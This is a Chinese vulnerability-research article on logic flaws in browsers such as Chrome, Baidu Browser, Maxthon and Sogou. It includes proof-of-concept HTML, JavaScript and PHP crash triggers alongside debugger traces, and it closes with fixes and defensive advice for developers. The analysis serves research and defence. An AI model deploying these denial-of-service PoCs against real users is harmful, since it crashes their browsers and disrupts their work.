漏洞小總結:瀏覽器裡那些奇怪的邏輯

wyzsk發表於2020-08-19
作者: blast · 2014/03/08 9:05

0x00 引言


最早在幾年前看到一本書《挖0day》,裡面介紹了一個搜狗瀏覽器的漏洞--偽造網站,雖然時隔四年搜狗還是犯了同樣的錯誤,不過那會兒俺是隻知道有這個理兒,但是苦於對這個理解並不深,現在接觸的時間多了,漸漸的就快要走到入門的門口了。

發生在瀏覽器上的兩種問題經常革了程式設計師下班時間的命(真是抱歉……),一種是程式碼缺陷,一種是邏輯問題。 前面的倒還好說,寫錯了當然就是寫錯了,要敢於承認嘛。 至於後面的則是一個經常讓開發人員頭疼不已的問題--誰知道俺的使用者腦洞會如此之大,這個事都做得出來?

受到大牛們的邀請,斗膽分享一下這些常見的邏輯問題,靠這些刷了那麼多WB,也該分享分享了。我一直認為瀏覽器邏輯方面的漏洞挖掘,很多都是靠的腦洞;至於核心漏洞嘛,俺的修為尚淺,這方面只好靠行善積德堆起人品,要不然Fuzzer都不來幫忙,簡直是令人灰心喪氣。

當然不得不說我只是個撿漏子的小菜鳥,希望大牛們如果發現我哪兒寫的不對的或者是在口胡的話直接糊我臉上就好。

0x01 成因


事出有因,大致分一下類:

第一類是網頁欺騙,這個大多數都是由於開發改位址列的時機不對:比如IE裡面在OnBeforeNavigate2、Navigate之後,chrome裡面剛Load一個地址就開始換地址等等。 由於此時網頁尚未載入,很多瀏覽器乾脆就把內容頁置為about:blank,而about:blank根據規則是和父視窗同源的,那父視窗當然是可以在裡面為所欲為了。位址列和內容都可以控制,那麼這就是一個完美的Spoof了。

第二類是拒絕服務,這個發生原因多種多樣,大多數都是瀏覽器自己實現的部分,由於瀏覽器顯示的內容多種多樣,頁面亂七八糟的啥都有,經常一個指標沒判空就崩了(百度);或者是標題過長,或者是記憶體佔用過多,導致程式分配不了記憶體然後崩潰(單程式的FireFox, WooYun: Firefox 23.0.1處理標籤記憶體溢位拒絕服務漏洞 );

第三類是規則匹配不完善,這個不常見,但是俺騙來烏雲的邀請碼確實就是用了Mozilla官方的這個外掛的正則問題導致的拒絕服務(Firefox的IETab, WooYun: 火狐瀏覽器的網銀支付助手規則問題可能導致拒絕服務 )。

第四類是未預期的使用者行為,使用者是一個群體,百萬千萬級別的使用者的腦洞簡直可以把宇宙都吸進去,使用者會在瀏覽器上幹出任何開發無法想象的到的事情,這種漏洞一般在百度搜尋:瀏覽器 開啟 崩潰,然後勾選最近1個月即可發現;

第五類是自有協議下的問題,有些瀏覽器為了安全構造了自有協議,因為這個就能很方便的和http/https這類不同源,脫離低階趣味了,然後瀏覽器會開心的放一些重要、敏感的內容進去,如果此類協議下後院起火,帶來的威脅是相當之大的。

等等,因為實在是整理不完,甚至可以想象曾經瀏覽器的搜尋欄出過問題(傲遊),開一個長於MAX_PATH的本地地址瀏覽器溢位了(Midori),表格調整一下位置也崩潰了(IE9),replace一下瀏覽器地址然後全程式崩了(傲遊, WooYun: 傲遊瀏覽器4.1.0.300遠端拒絕服務漏洞 ),fuzzer裡面跑的頁面元素重新整理的太快結果瀏覽器HANG了整個桌面,讓你滑鼠有如點在空氣上(360, http://www.wooyun.org/bugs/wooyun-2013-018856/trace/fd2dfb345ecc38042e4c6dbaba76fdd9)甚至瀏覽器的廣告條都會被人爆菊花,讓人覺得這個世界的惡意簡直全部集中在瀏覽器上了,只要你腦洞夠大,絕對是可以發現裡面的驚奇的。

0x03 案例


從簡單到稍稍複雜看一些例子。

0x03a chrome相對路徑dos(協議處理不當)

理論上說,程式碼和邏輯巢狀的越深,越容易出問題,不過這個問題倒不是這個引起的。前些天在測試一個巢狀程式碼的時候,就發現了測試機器上的瀏覽器出現了一個很奇怪的症狀:開啟某某chrome核心的瀏覽器之後,在巢狀的視窗中透過指令碼執行location.href="me:blablablast"之後,居然出現了cpu佔用100%的情況。 繼而我又驚奇的發現包括v31以下版本的chrome都有這個問題(BUG 346132),為了方便檢視,我把location.href換成了window.open(),這一下看到了一個好玩的現象:

我的程式碼是:

#!html
<script>
   var k=1;
   window.open("data:text/html, <scri"+"pt>var k=1111;window.open('window.open(\\\"about:blank\\\")')</scrip"+"t>"+"</scrip"+"t>","lll");
</script>

理應最不濟也是按照這個方式彈出視窗,最多隻有4個:

window1: data:text/html, <script>...</script>
window2: javascript:window.open('window.open(\"about:blank\")')
window3: javascript:window.open("about:blank")
window4: about:blank

可是沒想到從第二個視窗開始,它就無情的彈出了:

window1: data:text/html, <script>...</script>
window2: data:text/html, <script>...</window.open("about:blank")
window3: data:text/html, <script>...</window.open("about:blank")
....

正是如此,由於陰差陽錯我忘了加javascript:,但是不巧Chrome也錯把window.open()這個當作了相對路徑,更不巧的是它居然搜尋到了第二個正斜線/處,並把它後面的內容替換成了window.open

這也就意味著,從window2開始,他就開始了一直執行同一段程式碼的不歸路,難怪會一直佔100%cpu呢。

官方的修復是(REV 168294):

   M http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_relative.cc?r1=254565&r2=254564&pathrev=254565
   M http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_unittest.cc?r1=254565&r2=254564&pathrev=254565

url_cannon_relative.cc:  +
124      if (!is_base_hierarchical) {
125                  // Don't allow relative URLs if the base scheme doesn't support it.
126                  return false;
127                }

0x03b 百度瀏覽器下載dos (特殊情況考慮不完善)

HTTP頭中,Content-Length可以反映這個請求的實體大小[2],正是如此,下載的時候,下載器可以拿它當個參考,但是HTTP頭是我們可以隨便定義的,如果我們在伺服器上做一個假的下載檔案,並且把它的大小指定的非常大,甚至超出硬碟能受得了的大小,或者超出儲存下載檔案有多大的那個變數的上限會如何呢?

WooYun: 百度瀏覽器5.0正式版除以零異常永久性拒絕服務

在老版本的百度瀏覽器中訪問此檔案:

#!php
<?php
    header("Content-type: application/octet-stream");    //返回的檔案    
    header("Accept-Ranges: bytes");            //按照位元組大小返回
    header("Accept-Length: 500");    //返回檔案大小
    header("Content-Length: 500");    //返回檔案大小
    header("Content-Disposition: attachment; filename=B");//這裡客戶端的彈出對話方塊,對應的檔名
?>

當將Accept-Length該成一個超過其unsigned long上限的值時,百度瀏覽器簡單的把其大小修改為了0。

關鍵是,這個0會在之後被用作計算百分比的分母,於是一個奇葩的現象就會出現:除以0錯誤。

過程就是如此簡單:

xnet!AcquireAsynHttpService+0x278f2:
5bc5b502 83d800          sbb     eax,0
5bc5b505 8944241c        mov     dword ptr [esp+1Ch],eax
5bc5b509 89542418        mov     dword ptr [esp+18h],edx
5bc5b50d 0bc0            or      eax,eax
5bc5b50f 7518            jne     xnet!AcquireAsynHttpService+0x27919 (5bc5b529)
5bc5b511 8b4c2418        mov     ecx,dword ptr [esp+18h] ;檔案大小
5bc5b515 8b442414        mov     eax,dword ptr [esp+14h] ;已經下載的大小
5bc5b519 33d2            xor     edx,edx
xnet!AcquireAsynHttpService+0x2790b:
5bc5b51b f7f1            div     eax,ecx  ; 0/0

;部分暫存器此時的值:
;eax=00000000 ebx=00000000 ecx=00000000 edx=00000000

5bc5b51d 8bd8            mov     ebx,eax
5bc5b51f 8b442410        mov     eax,dword ptr [esp+10h]
5bc5b523 f7f1            div     eax,ecx
……

5.x版本的瀏覽器的dmp簡單檢視一下:

0:033> !analyze -v
FAULTING_IP: 
xnet!AcquireAsynHttpService+2790b
5bc5b51b f7f1            div     eax,ecx

……(略)
DEFAULT_BUCKET_ID:  STATUS_INTEGER_DIVIDE_BY_ZERO
PRIMARY_PROBLEM_CLASS:  STATUS_INTEGER_DIVIDE_BY_ZERO
BUGCHECK_STR:  APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO
LAST_CONTROL_TRANSFER:  from 5bc25b4e to 5bc5b51b
STACK_TEXT:  
0a67f95c 5bc25b4e 03684b20 666e1dbf 0383c019 xnet!AcquireAsynHttpService+0x2790b
0a67f984 5bc24817 00000000 00000000 03707e68 xnet+0x25b4e
0a67f9ac 5bc21581 00000000 666e1dbf 00000000 xnet+0x24817
……(略)

0x03c 百度瀏覽器堆損壞 (系統因素考慮不當)

由於分給一個程式的棧的大小是有限的,而Chrome接受的URL長度確實無限的,所以為了方便,短url確實可以存在棧中,但是如果url的長度長於一定限度的時候,存到堆裡也未嘗不可,但是測試一定要完善,依然是百度瀏覽器5.x的一個問題:

WooYun: 百度瀏覽器5.0正式版(2.200.0.41563)拒絕服務漏洞

(為了防止一大片都是亂七八糟的資料,以下能省的我全部省略了)

這個可以很明顯的顯示出來老版本程式碼搬到新版本來的弊端,以及需要達到一定條件下才觸發的漏洞點。漏洞需要:Windows Vista以上,使用主機板本4.x以下或 5.0版核心版本2.2.210.42889以下的均可觸發。

之前以為是像錯誤所報一樣是BUFFER OVERRUN也就是緩衝區溢位,其實不然,這個是一個奇怪的堆破壞漏洞。

為了防止堆出現奇怪的偵錯程式友好現象,先執行瀏覽器,然後Attach到程式上,執行PoC,可以發現程式產生了以下異常:

STATUS_STACK_BUFFER_OVERRUN encountered
(a18.32d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=5dab3f30 ecx=76470174 edx=0973c565 esi=00000000 edi=001b7281
eip=7646ff55 esp=0973c7ac ebp=0973c828 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7646ff55 cc              int     3

回溯一下呼叫棧:

0:025> kvn
 # ChildEBP RetAddr  Args to Child              
00 0973c828 5d9e7789 5dab3f30 caa3800a 355c7ff5 kernel32!UnhandledExceptionFilter+0x5f (FPO: [SEH])
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0973cb5c 5d79757b 001b7281 656c6966 00000000 bdlogicmain!BrowserLogicInit+0x198229
02 0973e8f8 5d9deb21 0ccf0020 113d0020 001b7281 bdlogicmain+0x757b
03 0973e91c 5d98d6fb 00000001 c3d069b2 0d1e2dc4 bdlogicmain!BrowserLogicInit+0x18f5c1
……(略)

檢視一下第一個引數,它指向EXCEPTION_POINTERS:

0:025> dd 5dab3f30
5dab3f30  5db498a0 5db498f8 5d9e7cd0 1d5be4b5

檢視一下異常相關的資訊:

0:025> .exr 5db498a0
ExceptionAddress: 5d79757b (bdlogicmain+0x0000757b)
   ExceptionCode: c0000409 (Stack buffer overflow)
  ExceptionFlags: 00000001
NumberParameters: 0

然後使用它的上下文記錄:

0:025> .cxr 5db498f8

以此為準重新回溯一下棧:

0:025> kv
  *** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr  Args to Child          
0973e8f8 5d9deb21 0ccf0020 113d0020 001b7281 bdlogicmain+0x757b
0973e91c 5d98d6fb 00000001 c3d069b2 0d1e2dc4 bdlogicmain!BrowserLogicInit+0x18f5c1
0973e9b8 5d98de2d 0973ea08 c3d06a26 00000000 bdlogicmain!BrowserLogicInit+0x13e19b
……(略)

貌似崩潰發生在bdlogicmain+0x757b附近,我們在這個函式開頭設下斷點並仔細檢視一下,Let’s rock:

bp bdlogicmain+0x7556

重新開啟瀏覽器,執行PoC,這時Debugger停在我們的斷點處。我們將前後指令給u出來,得到部分函式資訊:

633b753d 8dbdfcefffff    lea     edi,[ebp-1004h]
633b7543 e818fdffff      call    bdlogicmain+0x7260 (633b7260)
633b7548 83c404          add     esp,4
633b754b 5f              pop     edi
633b754c 85c0            test    eax,eax
633b754e 75a3            jne     bdlogicmain+0x74f3 (633b74f3)
633b7550 8bb56ce2ffff    mov     esi,dword ptr [ebp-1D94h]
633b7556 56              push    esi ; 引數:size
633b7557 8d95fcefffff    lea     edx,[ebp-1004h];這是他分配方式的分水嶺:0x1004位元組
633b755d 52              push    edx  ; 引數:source
633b755e 53              push    ebx    ;引數:dest
633b755f ff15c4f46363    call    dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64 (6363f4c4)] ; 呼叫函式:strncpy
633b7565 8b4dfc          mov     ecx,dword ptr [ebp-4]
633b7568 83c40c          add     esp,0Ch
633b756b c6441eff00      mov     byte ptr [esi+ebw-1],0
633b7570 5e              pop     esi
633b7571 33cd            xor     ecx,ebp
633b7573 33c0            xor     eax,eax
633b7575 5b              pop     ebx
633b7576 e823f82400      call    bdlogicmain!BrowserLogicInit+0x19783e (63606d9e)  ;崩潰在此
633b757b 8be5            mov     esp,ebp
633b757d 5d              pop     ebp
633b757e c3              ret

可以發現有一個strncpy(esi/*size*/, edx/*source, 棧上的內容*/, ebx/*dest, 申請的堆*/);非常可疑,而這個申請的堆則是在其類中使用new後memset成0得到的,其實之前這個memset的時候就已經set錯位置了,不過我們先繼續,p過+0x1cff64之後檢視一下堆:

(*是我的使用者名稱,隱掉了)

0:025> dd 11a20020
11a20020  656c6966 2f2f2f3a 552f3a43 73726573
11a20030  7061732f 71****** ******** 6b736544
11a20040  2f706f74 41414141 41414141 41414141
……blablabla
0:025> da 11a20020
11a20020  "file:///C:/Users/**********/Desk"
11a20040  "top/AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11a20060  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
……blablabla

果不其然,URL的完整內容被複制到堆中了,仔細一看卻不是這兒堆溢位了,而是它初始化的問題導致複製錯位了。下面是我重新開的一個例項,地址稍有變化,不過不影響結果。Strncpy完畢之後,各暫存器值如下:

eax=00000000 ebx=001b7281 ecx=0006dca0 edx=0975db50 esi=0975db50 edi=11d50020
eip=68542af4 esp=0975cd9c ebp=0975eb54 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
MSVCR100!strncpy+0x24:
68542af4 0f8585000000    jne     MSVCR100!strncpy+0xaf (68542b7f)        [br=1]

檢視堆這個地址的資訊:

0:025> !address 11d50020
 ProcessParametrs 007607f0 in range 00760000 00860000
 Environment 09e98c48 in range 09e10000 0a210000
    11d50000 : 11d50000 - 001b8000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   07790000

可以看到堆的大小遠大於複製的位元組數,這樣可能就不會是堆溢位了,讓我們再看一次堆的內容:

0:025> gu
eax=11d50020 ebx=11d50020 ecx=00000000 edx=00414141 esi=001b7281 edi=001b7281
eip=63617565 esp=0975cdac ebp=0975eb54 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
bdlogicmain+0x7565:
63617565 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:0975eb50=a7babf41
0:025> dd 11d50020
11d50020  656c6966 2f2f2f3a 552f3a43 73726573
11d50030  7061732f 71****** ******** 6b736544
11d50040  2f706f74 41414141 41414141 41414141
11d50050  41414141 41414141 41414141 41414141

接著檢視一下11d50000處的堆資訊,這回我們看到了好玩的東西了,從0x20位元組開始,網址居然被寫到了堆頭部的_HEAP結構,直接覆蓋了堆的資訊!(其實最開始memset的時候就已經蓋了,new之後傳來的指標就沒給對),這樣當堆釋放的時候系統就會檢測到這個問題,然後報告BUFFER_OVERRUN,但其實只是一個巧合。

由於系統差異,導致函式的走向分支出現了問題,指標的偏移沒有正確的寫入,在Windows XP之下,偏移被正確的調整了,但是在高版本系統中這個偏移量卻沒有寫對,導致了它直接寫到了堆頭部,直接破壞了整個堆的結構。

0:025> dt _HEAP 11d50000
ntdll!_HEAP
   +0x000 Entry            : _HEAP_ENTRY
   +0x008 SegmentSignature : 0
   +0x00c SegmentFlags     : 0
   +0x010 SegmentListEntry : _LIST_ENTRY [ 0x1b8000 - 0x1b8000 ]
   +0x018 Heap             : 0x213b4097 _HEAP
   +0x01c BaseAddress      : 0x04000000 
   +0x020 NumberOfPages    : 0x656c6966
   +0x024 FirstEntry       : 0x2f2f2f3a _HEAP_ENTRY
   +0x028 LastValidEntry   : 0x552f3a43 _HEAP_ENTRY
   +0x02c NumberOfUnCommittedPages : 0x73726573
   +0x030 NumberOfUnCommittedRanges : 0x7061732f
   +0x034 SegmentAllocatorBackTraceIndex : 0x****
   +0x036 Reserved         : 0x****
   +0x038 UCRSegmentList   : _LIST_ENTRY [ 0x******** - 0x6b736544 ]
   +0x040 Flags            : 0x2f706f74
   +0x044 ForceFlags       : 0x41414141
   +0x048 CompatibilityFlags : 0x41414141
   +0x04c EncodeFlagMask   : 0x41414141
   +0x050 Encoding         : _HEAP_ENTRY
   +0x058 PointerKey       : 0x41414141
   +0x05c Interceptor      : 0x41414141
…………blabla 後面都是0x41414141

那為什麼只會在這樣的PoC中出現呢,普通的window.open為什麼沒有這類問題?bp bdlogicmain+0x7490 在函式開頭下斷,可以發現原因是百度瀏覽器使用了一個邏輯,也即<4096的用棧上變數,如果長於4096位元組,程式才會試圖分配堆並對堆進行錯誤的寫入操作。這個問題出現在新視窗的彈出中,必須是新小視窗才會出現,包括被廣告攔截也會出現。

相關問題點:

636174e7 e874fcffff      call    bdlogicmain+0x7160 (63617160)  
;函式功能:判斷是否要比4096長
636174ec 83c41c          add     esp,1Ch
636174ef 85c0            test    eax,eax
;eax==0 : 代表長於4096位元組
636174f1 7413            je      bdlogicmain+0x7506 (63617506)

bdlogicmain+0x74f3:
636174f3 5e              pop     esi
636174f4 83c8ff          or      eax,0FFFFFFFFh
636174f7 5b              pop     ebx
636174f8 8b4dfc          mov     ecx,dword ptr [ebp-4]
636174fb 33cd            xor     ecx,ebp
636174fd e89cf82400      call    bdlogicmain!BrowserLogicInit+0x19783e (63866d9e)
63617502 8be5            mov     esp,ebp
63617504 5d              pop     ebp
63617505 c3              ret

bdlogicmain+0x7506:
63617506 8db570e2ffff    lea     esi,[ebp-1D90h]
6361750c 8d85fcefffff    lea     eax,[ebp-1004h]
63617512 e8d9f9ffff      call    bdlogicmain+0x6ef0 (63616ef0)
63617517 85c0            test    eax,eax
63617519 75d8            jne     bdlogicmain+0x74f3 (636174f3)
……blabla

bdlogicmain+0x7550: //長於4096位元組時:
63617550 8bb56ce2ffff    mov     esi,dword ptr [ebp-1D94h]
63617556 56              push    esi
63617557 8d95fcefffff    lea     edx,[ebp-1004h]
6361755d 52              push    edx
6361755e 53              push    ebx
6361755f ff15c4f48963    call    dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64 (6389f4c4)]
63617565 8b4dfc          mov     ecx,dword ptr [ebp-4]

Simple PoC:

#!html
<script>
var s="A";
var i=1;
for(i=1;i<599559;i++)
s+="A";

alert(1);
window.open(s);

</script>

0x03d 新視窗的那些事兒 (邏輯安全不全面)

很多廠商都意識到了一個問題,那就是OnBeforeNavigate2的時候,剛chrome.Load()千萬不能改位址列啊,一定不能改位址列啊,必須等頁面全部載入完才可以,結果主視窗做的天衣無縫,完美無瑕,之後就忘了小視窗的事情。 小視窗怎麼產生呢?

window.open

這個簡單無比,到處可見此類彈窗小廣告,被廣告攔截的機率非常大,可以忽視

WooYun: 傲遊瀏覽器4.1.2.2000偽造任意網站漏洞

target 但是這個基本就沒人攔了,但是蛋疼的是帶有url變化的東西都能接上這個,比如anchor,比如form,這個可以參考:

WooYun: 傲遊瀏覽器4.3.0.100 表單請求偽造網站漏洞(可釣魚)

WooYun: 搜狗瀏覽器4.2.2.9903任意網站偽造+自有協議下XSS*2

廠商也意識到了,是啊,不載入完不能換地址,一定要到OnDocumentComplete,要到documentComplete()才行,可是唯獨忘了程式建立新視窗的時候也不能把位址列給設定上,這樣就導致了很多問題。

因為攻擊者彈出來的東西可能並不會去瞎載入一些亂七八糟的網站,他們轉而可能在小視窗上執行指令碼,指令碼執行完之後確實產生了頁面完成事件,“但是在這上面執行的javascript:開頭的地址肯定是不能替換當前地址的呀,那麼還是保持之前的地址好了”,這個邏輯彷彿就是“現在我做的事不對,那麼前面做的事一定是正確的”,結果正中攻擊者下懷,髒資料寫到了頁面上,髒地址倒也被當作正確地址留下來了。

0x03e xss導致的更嚴重的問題 (外掛安全不全面)

越來越多的瀏覽器做了外掛,可以讓使用者自行選擇,這是個好事情,因為這樣不必讓本來只想找個小菜刀做飯的使用者一下背了一個核彈發射場回家。大廠商轉而大度的把裝備扔自己網站上,大家是要殺人越貨還是要幹什麼,儘管自取。

那麼瀏覽器怎麼知道使用者啥時候要對自己來一發火箭炮?External介面倒是可以滿足瀏覽器這個需求,透過設定可信域,通常就是瀏覽器自己的外掛頁地址或者官網,瀏覽器只在可信域上開放external介面,這樣使用者就能在廠商那找到並讓瀏覽器安裝各個外掛了。

但是至少不要來XSS,XSS的奇技淫巧大家掌握的比我多,本來自有協議就跟個核彈發射按鈕似的,這XSS一來,直接就把老家送人了,最可怕的是有些瀏覽器甚至自行關掉了XSS過濾器,導致攻擊者只需要做一個payload放到url裡就可以讓這些許可權高的external呼叫隨意的在瀏覽器裡面跑起來。

例如:

WooYun: 搜狗瀏覽器遠端命令執行漏洞

WooYun: 360極速安全瀏覽器存在設計缺陷可導致一序列安全問題

WooYun: 傲遊4.3.0.300提示安裝任意外掛暴露external介面

0x03f 拖拽跨域 (使用者行為猜測不全)

一直要用最壞的打算來推測使用者能幹出來什麼出格事兒,這是個事實,之前白帽子愛梅小禮發的拖拽跨域就是個非常一針見血的證明。

WooYun: 所有國產瀏覽器拖曳跨特權域漏洞

本來瀏覽器的超級拖拽行為只有仨考慮:如果是網址,那麼我們就把它開啟;如果是文字我們就把它轉到搜尋裡面;如果是圖片,我們就開個新視窗讓使用者自己放大縮小看圖片。 萬萬沒想到,還有javascript:和vbscript:這種東西。使用者的滑鼠可不聽使喚,iframe裡面一個javascript拖到外面的頁面裡面,指令碼可就在外面執行起來了。

當然,我想著這還不是最猥瑣的,這種出其不意的事情,必然有其他地方也能讓我們舉一反三:標籤欄。

試想標籤欄在開發的眼裡意味著什麼?無非兩種可能,來的是文字,我們搜尋;來的是URL,我們開啟。

來的是指令碼,那就執行了吧。

0x04 預防&總結


大部分還是從開發的角度來說吧,一定要在頁面載入完之後再改變地址,新視窗將位址列置為about:blank,並在頁面有實際的載入之後再改地址;

在剛啟動就自動執行的任務一定要保證更嚴格的可用性,以及要養成良好的編碼習慣,釋放,引用指標之前一定要確保指標有效,這樣可以確保程式不會一啟動或者每次做的動作大一點就完全崩潰了;

至於邏輯問題,我覺得這也只好聽天由命,自求多福了,只好懇請使用者大老爺手下留情,點滑鼠慢一點,沒事幹不要亂拖亂點好了……

參考資料 [1] http://www.w3.org/TR/2008/WD-html5-20080610/web-browsers.html [2] http://tools.ietf.org/html/rfc2616#section-14.13 [3] 《挖0day》,愛無言; 應該就是他:http://www.wooyun.org/whitehats/%E7%88%B1%E6%97%A0%E8%A8%80 [4] http://illmatics.com/Understanding_the_LFH.pdf

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章